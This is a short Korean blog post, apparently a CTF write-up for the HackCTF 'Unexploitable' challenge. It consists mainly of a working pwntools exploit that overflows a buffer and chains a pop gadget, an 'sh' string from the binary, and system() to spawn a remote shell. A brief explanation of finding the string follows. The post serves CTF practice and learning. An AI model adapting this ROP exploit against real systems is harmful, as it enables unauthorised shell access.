Profile

youngsouk

youngsouk

[hackctf]Unexploitable

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3023)
#p = process('./Unexploitable_1')
e = ELF('./Unexploitable_1')

context.log_level="debug"
sh = next(e.search('sh\x00'))
p_r = 0x00000000004007d3

p.recv()

pause()

payload = 'a' * 0x18

payload += p64(p_r)
payload += p64(sh)
payload += p64(e.plt['system'])

log.info('sh : ' + hex(sh))

p.sendline(payload)

p.interactive()

dynstr에 있는 fflush의 끝에 있는 sh\x00 요걸 system의 인자로 주어서 익스를 하면 된다. 사실 저걸 알 필요 없이 바이너리 메모리에 올려져있는 문자열을 찾아주는 갓갓 pwntools으 기능을 이용하면 저렇게 쉽게 찾을 수 있다. (단 여기서 next()요걸로 감싸주어야한다.)

'CTF write-up > hackctf' 카테고리의 다른 글

[hackctf]random  (0) 2019.07.18
[hackctf]Unexploitable_2  (0) 2019.07.18
[hackctf]SysROP  (0) 2019.07.15
[hackctf] you are silver  (0) 2019.07.15
[hackctf]ROP  (0) 2019.07.15